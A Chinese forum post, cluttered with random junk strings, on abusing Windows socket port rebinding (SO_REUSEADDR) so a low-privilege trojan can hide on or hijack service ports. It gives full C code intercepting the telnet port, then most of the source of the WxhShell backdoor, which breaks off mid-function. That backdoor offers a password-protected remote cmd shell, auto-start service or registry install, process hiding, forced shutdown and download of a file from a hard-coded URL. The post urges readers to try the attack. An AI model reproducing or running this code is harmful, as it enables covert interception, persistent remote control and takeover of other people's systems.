-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lN7YU-ygz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 64SRW8AH E#\'$@8j saddr.sin_family = AF_INET; NYPjN9L I9YMxf>nI saddr.sin_addr.s_addr = htonl(INADDR_ANY); rji<g>GQ j#9n.i
%h bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vH@b G4"n`89LK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Se[>z( ES5a`"H 这意味着什么?意味着可以进行如下的攻击: :V# B]:Z9 fjHd"!)3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )SfM `W)Y >ajcfG.k( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D"P<;@ef Pk:b:(4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9)'wgI# H4BuxM_r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 +[#^c3x2 2K2_- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B";Dj~y qcfg 55]'c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jNAboSf2Y c/,B ? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u4Z
Accj on f7V #include U)SQ3*j2D #include #3YYE5cB #include _:G>bU/^ #include z"Wyf6H0T DWORD WINAPI ClientThread(LPVOID lpParam); >"D0vj int main() V""3#Tw { )Nl xW5 WORD wVersionRequested; WU6F-{M"? DWORD ret; PBAQ
KQ WSADATA wsaData; 'L2[^iF9 BOOL val; .WlZT- SOCKADDR_IN saddr; |qb-iXW= SOCKADDR_IN scaddr; NZuylQ)0 int err; ":L d}~> SOCKET s; Ar`U/ %Cu SOCKET sc; 2&:nHZ) int caddsize; Rc~63![O. HANDLE mt; \m+;^_;5GW DWORD tid; "=UhTE wVersionRequested = MAKEWORD( 2, 2 ); f1I/aR V:+ err = WSAStartup( wVersionRequested, &wsaData ); da$ErN'{ if ( err != 0 ) { u7
{R; QKw printf("error!WSAStartup failed!\n"); KvlLcE~`o return -1; vH{JLN2 } V4|l7 saddr.sin_family = AF_INET; nc:K!7: #|6M*;l N| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t8Giv89{ &FDWlrGg saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^/7Y3n!|3 saddr.sin_port = htons(23); %&iWc_" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0V'XE1h { !3Q^oR printf("error!socket failed!\n"); 5I0j>{U& return -1; 3NrWt2? } i",oPz7 val = TRUE; (Uk\O`)m //SO_REUSEADDR选项就是可以实现端口重绑定的 ,h'omU7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vVH*\&H\T { 8LlWXeD9 printf("error!setsockopt failed!\n"); / KxZ+Ww>v return -1; um$L;-2: } {y|j**NZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n)rSgzI //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^%/d]Zwb //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b+THn'2 Og"\@n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3Oe\l[?$; { ''B}^yKEW ret=GetLastError(); kDWvjT printf("error!bind failed!\n"); Ryi%}! return -1; L_fiE3G|> } X1GM\*BE listen(s,2); ./}W3 while(1) incUa; { ASaNac-3 caddsize = sizeof(scaddr); iIU>:)i //接受连接请求 "ax"k0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DZV U!J if(sc!=INVALID_SOCKET) NV9H"fI { ),f d, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <O]B'Wc [ if(mt==NULL) =kn-F T { \> printf("Thread Creat Failed!\n"); /@]@Tz@' break; pAc "Wo(Q } GD
}i=TK } rTM0[2N CloseHandle(mt); o`\@Yq$. } (?~*.g! closesocket(s); [2nPr^ WSACleanup(); (J`EC return 0; Eo_;Nc } %o#|zaK DWORD WINAPI ClientThread(LPVOID lpParam) u$mp%d8 { *x&y24 SOCKET ss = (SOCKET)lpParam; &(rR)cG SOCKET sc; Z_[jah unsigned char buf[4096]; w&LL-~KI+ SOCKADDR_IN saddr; HH'5kE0;d long num; |1Pi`^ DWORD val; s
F3M= uz DWORD ret; w-?Cg8bq< //如果是隐藏端口应用的话,可以在此处加一些判断 x-@6U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ZVz`-hB saddr.sin_family = AF_INET; f}+8m .g2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D2Dk7//82Y saddr.sin_port = htons(23); G:{\-R' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r#/Bz5Jb* { C07 U.nzh printf("error!socket failed!\n"); ftbOvG/
I return -1; zNJ-JIo% } K"9V8x3Wg val = 100; y`-5/4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CFiO+p& { I07_o"3>qr ret = GetLastError(); )`
90* return -1; S s#UX_DT_ } IT\
x0b cv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O_y?5 3X { f`8mES'gc8 ret = GetLastError(); "SN+ ^` return -1; 5tl uS } HDT-f9%}<4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D^\2a;[AxA { 2V =bE- printf("error!socket connect failed!\n"); "3:TrM$|A
closesocket(sc); $7bux1L closesocket(ss); glP
W9q,f return -1; pt-
1>Ui } +@5*_n\e` while(1) y7Sj^muBY { jd?NN:7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {-)*.l= //如果是嗅探内容的话,可以再此处进行内容分析和记录 x>~.cey //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q1?0]5 num = recv(ss,buf,4096,0); y`.m'n7>P if(num>0) ^ ]CQd
send(sc,buf,num,0); U Zc%XZ`"V else if(num==0) [49Ae2W` break; ${)s
~[ num = recv(sc,buf,4096,0); \P7y&`| if(num>0) vP{;'R send(ss,buf,num,0); P0XVR_TJf else if(num==0) b#E!wMClS break; +K03yphZr } `d.4L.], closesocket(ss); LjMhPzCp closesocket(sc); |!H@{o return 0 ; }?XNA.Wz } keL!;q|r-) ?tFsSU .q9wyVi7GI ========================================================== ~Y'j8W YR}By;Bq 下边附上一个代码,,WXhSHELL L% ?3VW ##clReS ========================================================== XbKNH> Ba /^CS #include "stdafx.h" JLH,:2 YN 31Lo #include <stdio.h> It3. #include <string.h> &u7oa #include <windows.h> om}jQJ]KH #include <winsock2.h> \cRe,(?O #include <winsvc.h> gTjhD( #include <urlmon.h> /yS/*ET8 !E|k#c9 #pragma comment (lib, "Ws2_32.lib") Wg
?P" #pragma comment (lib, "urlmon.lib") iHL`r1I! t`y*oRy #define MAX_USER 100 // 最大客户端连接数 [W2GLd] #define BUF_SOCK 200 // sock buffer JypXQC}~ #define KEY_BUFF 255 // 输入 buffer CxRhMhvP Y;6%pm $ #define REBOOT 0 // 重启 7O.{g #define SHUTDOWN 1 // 关机 dw]wQ\4B l9X\\uG& #define DEF_PORT 5000 // 监听端口 T&PLvyBL |8YP8o #define REG_LEN 16 // 注册表键长度 {r2fIj~V #define SVC_LEN 80 // NT服务名长度
KL\]1YX Jh)K0>R // 从dll定义API cPm-)/E)i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S|?Ht61k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &b7i> () typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +Jv*u8T' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C^ hCT DR w;.it2 // wxhshell配置信息 -*r]9f6x struct WSCFG { .a *^6TC. int ws_port; // 监听端口 j}$Up7pW
char ws_passstr[REG_LEN]; // 口令 wz(D
}N5 int ws_autoins; // 安装标记, 1=yes 0=no ~M4@hG! char ws_regname[REG_LEN]; // 注册表键名 uepL"%.@7| char ws_svcname[REG_LEN]; // 服务名 ]h6mJ{k char ws_svcdisp[SVC_LEN]; // 服务显示名 T11;LSD char ws_svcdesc[SVC_LEN]; // 服务描述信息 K0Zq)< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;&%G)f int ws_downexe; // 下载执行标记, 1=yes 0=no r(::3TF%#q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" --9Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nu%:7 9x40 }; c@1q8, @ dF]X // default Wxhshell configuration g2'Q)w struct WSCFG wscfg={DEF_PORT, t[-0/-4 "xuhuanlingzhe", HAr_z@#E 1, }.R].4gT "Wxhshell", <7%4= "Wxhshell", WgK |r~ "WxhShell Service", :xP$iEA`G "Wrsky Windows CmdShell Service", w(xRL#% "Please Input Your Password: ", 5Si\hk:o 1, 'o*:~n " http://www.wrsky.com/wxhshell.exe", @\UoZv( "Wxhshell.exe" >)IXc<"wq }; 7berkU0P 5h4E>LB.B // 消息定义模块 }_{QsPx9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g}]EIv{ char *msg_ws_prompt="\n\r? for help\n\r#>"; 0fd\R_"d. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 66+y@l1 char *msg_ws_ext="\n\rExit."; t9Nu4yl char *msg_ws_end="\n\rQuit."; *(4TasQu char *msg_ws_boot="\n\rReboot..."; Y/1,%8n char *msg_ws_poff="\n\rShutdown..."; GqrOj++> char *msg_ws_down="\n\rSave to "; A|esVUo<3^ 9IRvbE~2 char *msg_ws_err="\n\rErr!"; _\tGmME37 char *msg_ws_ok="\n\rOK!"; GK/Q]}Q8pZ U8b1
sz char ExeFile[MAX_PATH]; J '^xDIZX int nUser = 0; *KXg;777 HANDLE handles[MAX_USER]; ",
:Ta| int OsIsNt; M:~/e8Xv /<s$Am SERVICE_STATUS serviceStatus; f @cs<x SERVICE_STATUS_HANDLE hServiceStatusHandle; #!FLX*, Bw[jrK // 函数声明 l?/.uNw int Install(void); iC{~~W6 int Uninstall(void); G{cTQH| int DownloadFile(char *sURL, SOCKET wsh); r_kw "9 int Boot(int flag); kH43 T void HideProc(void); ;Q]j"1c int GetOsVer(void); %YaUc{.% int Wxhshell(SOCKET wsl); ^3-Wxn9& void TalkWithClient(void *cs); ;^,2
Qs M int CmdShell(SOCKET sock); L8~nx}UP5 int StartFromService(void); O&:0mpRZ int StartWxhshell(LPSTR lpCmdLine); VhAZncw P~+?:buqc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bn"r;pqWiT VOID WINAPI NTServiceHandler( DWORD fdwControl ); [wM<J$=2 m7XJe[O // 数据结构和表定义 Qjj:r~l SERVICE_TABLE_ENTRY DispatchTable[] = Qn7l-:`? { 1x0 7ua@(v {wscfg.ws_svcname, NTServiceMain}, .=>T yq {NULL, NULL} P'Fy,fNg }; hao0_9q+ x Qh? // 自我安装 sX&M+'h int Install(void) S%ri/}qI[{ { h]94\XQ>$ char svExeFile[MAX_PATH]; rI:KZ}GZ HKEY key; FNDLqf!j strcpy(svExeFile,ExeFile); F$K-Q;r]< {1GW,T!# // 如果是win9x系统,修改注册表设为自启动 %;0w2W if(!OsIsNt) { .'SXRrn&:C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3_atv'I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Pljyq: RegCloseKey(key); <(JsB'TK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4M8AYh2) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 16\U'< RegCloseKey(key); vII8>x%* return 0; RZfC? } 1>*]jj} } >5Zpx8W } ^gFjm~2I else { 7F-b/AdVq 0<L@f=i // 如果是NT以上系统,安装为系统服务 lO9{S=N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g[;iVX^1& if (schSCManager!=0) \2<2&=h? { ISr~JQr SC_HANDLE schService = CreateService r1FE$R~C= ( F.=uJdl.! schSCManager, 'KGY;8<x] wscfg.ws_svcname, e![Q1!r wscfg.ws_svcdisp, lq@Vb{Z SERVICE_ALL_ACCESS, AEwb' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4(4JQ(5 SERVICE_AUTO_START, =tcPYYD SERVICE_ERROR_NORMAL, *eXO?6f%s^ svExeFile, ^c]Sl NULL, L\og`L)5\ NULL, B>?Y("E NULL, &Jj> jCg NULL, Z-<v5aF NULL YeJ95\jf ); g]xZ^M+ if (schService!=0) 6\,^MI { )
WIlj CloseServiceHandle(schService); IQ{Xj3;?y CloseServiceHandle(schSCManager); V8&/O)} o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <nsl`C~6g0 strcat(svExeFile,wscfg.ws_svcname); *vhm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LbR/it'} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RQ,(?I*8\ RegCloseKey(key); >`NY[Mn return 0; b=T+#Jb } VP 4t~$" } |->y'V CloseServiceHandle(schSCManager); p2~Q } &SN$D5U' } |/fbU_d [/uKo13 return 1; |V9%@
Y? } ,H[AC}z2X 0D#!!r ; // 自我卸载 &`L5UX int Uninstall(void) s*CKFEb# { K=5_jE^e HKEY key; vB4cdW
2#3 ap%o\&T; if(!OsIsNt) { ]bnxOk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y)u}+Yg RegDeleteValue(key,wscfg.ws_regname); SbnVU[ RegCloseKey(key); 3}:pD]`h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0v7;ZxD RegDeleteValue(key,wscfg.ws_regname); 2K*-uT#$~ RegCloseKey(key); ]|`gTD6 return 0; jPU#{Wo# } L7Oytdc< } /#G"'U/ } Br~%S?4"o else { ^/n[5@6H S,(@Q~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iKabo,~ if (schSCManager!=0) $PS5xD~@ { x>8f#B\Mr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ')1sw%[2 if (schService!=0) Mqh~ 5NM { F[=m|MZb if(DeleteService(schService)!=0) { |C&eH$?~=R CloseServiceHandle(schService); Xi{(1o4% CloseServiceHandle(schSCManager); 8&C(0H]1 return 0; Jj6kZK } tiE+x|Ju" CloseServiceHandle(schService); $m=z87hX } \[oHt:$do CloseServiceHandle(schSCManager); C]=E$^|{ } <dYk|5AdLF } &HXSO,@ FY|x<-f return 1; hE6tu' } ewY[vbF CQ( @7 // 从指定url下载文件 \7j)^ int DownloadFile(char *sURL, SOCKET wsh) kxn;; { b/K&8C,c HRESULT hr; ai`:HhE char seps[]= "/"; =!CuCV7$1O char *token; 2@&|hd=- char *file; nIi_4=Z
char myURL[MAX_PATH]; QNJG}Upl char myFILE[MAX_PATH]; kx=AX*I 4a @iR2e strcpy(myURL,sURL); twu6z5<!-= token=strtok(myURL,seps); ppnj.tLz;r while(token!=NULL) p 5o;Rvr { KFs` u6 file=token; Q~@8t"P token=strtok(NULL,seps); 9bNIaC*M } cY"^3Ot%^ z>0"T2W
y GetCurrentDirectory(MAX_PATH,myFILE); (;j7{( strcat(myFILE, "\\"); @iP6N strcat(myFILE, file); hrL<jcv| send(wsh,myFILE,strlen(myFILE),0); _N:h&uw send(wsh,"...",3,0); u=l(W(9= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .)3 2WD% if(hr==S_OK) eLYFd,?9 return 0; YQ)m?=+J else i@J,u return 1; \O:xw-eG
\S<5b&G
} O+8`. UJH{vjIv // 系统电源模块 !qpu / int Boot(int flag) P8VU&b\ { `l+SJLyJ% HANDLE hToken; LX fiSM{o TOKEN_PRIVILEGES tkp; bvx:R ~E$ %pp+V1FH if(OsIsNt) { ~?&ijhZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G'py)C5; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
flB,_ tkp.PrivilegeCount = 1; o/zCXZnw# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X2uX+}h*tA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[dJ\|= if(flag==REBOOT) { 4r. W:}4: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 19.cf3Dh return 0; $;CC
lzw } DsX>xzM else { ZH(.|NaH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1;P\mff3Y return 0; WNb$2q= } RrHnDO' } >&&xJ5 else { U YQ$c }Z5 if(flag==REBOOT) { Pp/{keEye if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ! -c*lb return 0; _6m3$k_[MJ } jVINc=o else { K*Jtyy}r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K|G$s return 0; ja;5:=8A5 } Vi#im`@ } x3s^u~C)(w %)9]dOdOk return 1; T,uIA] } gxOmbQt@; W\,lII0 // win9x进程隐藏模块 z\tJ~ void HideProc(void) B0i}Y-Z { !_
Q!H2il :xPvEK[B7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^eW.hNg if ( hKernel != NULL ) r(i)9RI+( { 4c=kT@=jX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (@E#O$' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "Cc"y* P FreeLibrary(hKernel); wP/9z(US } RC(D=6+[C y^=oYL return; *?D2gaCta } 3~</lAm; %5*#c*)R // 获取操作系统版本 > bF!Y]H int GetOsVer(void) <S$21NtM87 { {0e{!v OSVERSIONINFO winfo; ~It+|X=Kx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M:M>@|) GetVersionEx(&winfo); A{2$hKqHi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) txo?k/w return 1; s7o*|Xv else #`4^zU) return 0; t4@g;U?o } Q)BoWd j dhml%pAd // 客户端句柄模块 f#kevf9zc int Wxhshell(SOCKET wsl) mzB#O;3= { pqN[G=0 SOCKET wsh; uS#Cb+*F struct sockaddr_in client; K=x1mM+RK DWORD myID; IKDjatn F[=lA"F^ while(nUser<MAX_USER) E$tk1SVo { +~Lzsh" int nSize=sizeof(client); 3c ^=<i
% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j{R|]SjW2H if(wsh==INVALID_SOCKET) return 1; |/^aLj^u %`T5a< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M3@fc,Ch if(handles[nUser]==0) 6Y)^)dOi closesocket(wsh); !*Z)[[ else ]8>UII ,US nUser++; 37-y } SP7g qM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N#['fg' ~_db<!a return 0; P .4b+9Tx } }r~l72
` 'Y{ux> // 关闭 socket wT~;tOw~ void CloseIt(SOCKET wsh) ,DuZMGg { s<_LcQbt{ closesocket(wsh); [RFK-E nUser--; M(zY[O ExitThread(0); qb>r\bc } T0v@mXBQ ilp;@O6 // 客户端请求句柄 3ZL7N$N}7 void TalkWithClient(void *cs) Usf"K*A { dh;Mp E 0 ,Qj: SOCKET wsh=(SOCKET)cs; uU(G_E ? char pwd[SVC_LEN]; :.[5(' char cmd[KEY_BUFF]; |vDoqlW char chr[1]; ws2j:B int i,j; ENXW#{N.v 6a]f&={E while (nUser < MAX_USER) { cw]>a&d #X@<U <R if(wscfg.ws_passstr) { =R;1vUio if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <fsn2[V:B% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iC|6roO!jk //ZeroMemory(pwd,KEY_BUFF); QjjJtKz i=0; y~c4:*L3 while(i<SVC_LEN) { >)J47j7{c .V 3X#t // 设置超时 PP[)h,ZL* fd_set FdRead; q8xc70: R struct timeval TimeOut; yCkW2p]s,K FD_ZERO(&FdRead); aU.0dsq FD_SET(wsh,&FdRead); fo\J \ TimeOut.tv_sec=8; ?Y6la.bc{ TimeOut.tv_usec=0; >c
y.]uB int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F `pyhc>1; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -=Eq/su% &>zy_) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?fa,[r|G pwd =chr[0]; l`FR.)2h if(chr[0]==0xd || chr[0]==0xa) { ),p]n pwd=0; r< ?o}Qq break; O{ %A&Ui } 0]eh>ab> i++; !OoaE* s } me[J\MJ;w^ ?V5Pt s // 如果是非法用户,关闭 socket vi! r8k if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kL PO+lg+ } 8~s-t =O3I[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MY?O/,6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i5E:FS^!I iVpA@p while(1) { g?A5'o&Yu Sp`fh7d.( ZeroMemory(cmd,KEY_BUFF); dJQ }{,+6 mWN1Q<vn,l // 自动支持客户端 telnet标准 *@G(3 n j=0; 1YIux,2\ while(j<KEY_BUFF) { LF9aw4:>Ou if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g3|Y$/J7P cmd[j]=chr[0]; ^E<~zO=Z if(chr[0]==0xa || chr[0]==0xd) { )0n29 cmd[j]=0; #}t1 break; (J^Lqh_ } <^*+8{* j++; +6#%P } Mdlt zy=)L w*6!?=jP // 下载文件 k{}[>))Q if(strstr(cmd,"http://")) { rtYb"-& send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~E3SC@KL if(DownloadFile(cmd,wsh)) C:s^s send(wsh,msg_ws_err,strlen(msg_ws_err),0); `hK>bHj else &w;^m/zP3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >G4HZE } 5}X<(q( else { anz9lGG# N.5KPAvg% switch(cmd[0]) { 7>t$<J e}?1T7NPG] // 帮助 hk"9D<&i>b case '?': { vh. Wm?qQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6_9:Eb=^v! break; 6cQeL$,SQ } +;:aG6q+ // 安装 G%j/eTTf case 'i': { \~z?PA.$ if(Install()) \'It,PN send(wsh,msg_ws_err,strlen(msg_ws_err),0); =2;mxJ# o else '.%iPMM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _>jrlIfc break; a9?
v\hG } =q"w2b& // 卸载 [$1: &!(! case 'r': { {m_A1D/_ if(Uninstall()) RWh9&O:6' send(wsh,msg_ws_err,strlen(msg_ws_err),0); J3lG"Ww else iL7-4Lv# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9&O#+FU break; aeuf, # } VW{aUgajO // 显示 wxhshell 所在路径 kO..~@aY case 'p': { Qr|N) char svExeFile[MAX_PATH]; I8<Il^ strcpy(svExeFile,"\n\r"); Giy3eva2 strcat(svExeFile,ExeFile); y"|K
|QT send(wsh,svExeFile,strlen(svExeFile),0); t`<}UWAH+ break; C}(<PNT } zqekkR] // 重启 ]ZR{D7.? case 'b': { P<cMP)+K send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,<0Rf if(Boot(REBOOT)) RI[7M ( send(wsh,msg_ws_err,strlen(msg_ws_err),0); }J+ce else { %jbJ6c closesocket(wsh); *2 qh3 ExitThread(0); _S9rF-9G] } q9W~7 break; 9atjK4+o }
Z;j/K // 关机 ||{T5E-.F case 'd': { 5YTb7M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *}
*!+C3 if(Boot(SHUTDOWN)) QQ^Gd8nQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); L~*|,h else { w|!YoMk+o closesocket(wsh); nV!2Dfd ExitThread(0); Xk{!' 0 } Z-^uM`],G break; O3^98n2 } ^ [X|As2 // 获取shell m%e^&N#%6r case 's': { KXoL,)Hl CmdShell(wsh); b lRY7 closesocket(wsh); !p]T6_t]Q ExitThread(0); 9]]!8_0=r break; 7af?E)}v } Y=P9:unG // 退出 Mv/IMO0rR
case 'x': { GN:Ru|n send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s
jL*I CloseIt(wsh); 763E 6,7 break; NqiB8hZ~ } JwN}Jm // 离开 #d}0}7ue case 'q': { 4o1Q7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q `e~MD closesocket(wsh); >:w?qEaE WSACleanup(); jgk{'_ j exit(1); `FZ(#GDF break; K)<Wm,tON } b\SXZN)Be } { c v;w } 6V'wQqJ QRsqPh&- // 提示信息 3[MdUj1y[ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :`:xP } RpHpMtvNo/ } <MPeh&_3# f|-
m ^/y return; /HB+ami, } (\Rwf}gyR C/mg46
v2W // shell模块句柄 @MNl*~'$.[ int CmdShell(SOCKET sock) [MV`pF)x { ry$tK"v/ STARTUPINFO si; ggerh# ZeroMemory(&si,sizeof(si)); 7[ZkM+z! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r/UYC"K3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R'S c PROCESS_INFORMATION ProcessInfo; 7MKD_`g char cmdline[]="cmd"; <'r0r/0g? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Iv'RLM return 0; NY4!TOp } j`>?"1e@x lr9=OlH // 自身启动模式 ?wGiog<Q{ int StartFromService(void) JaH*
rDs- { l_^T&xq8 typedef struct Oamv9RyDvC { 4 hL`=[AB DWORD ExitStatus; oHxGbvQc DWORD PebBaseAddress; hNH.G(l0 DWORD AffinityMask; *,E; DWORD BasePriority; kxwNbxC ULONG UniqueProcessId; eeZIa`.sX ULONG InheritedFromUniqueProcessId; 3CA|5A.Pa } PROCESS_BASIC_INFORMATION; RxlszyE Zw2jezP@t PROCNTQSIP NtQueryInformationProcess; fp9rO}## IM@"AD52a static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
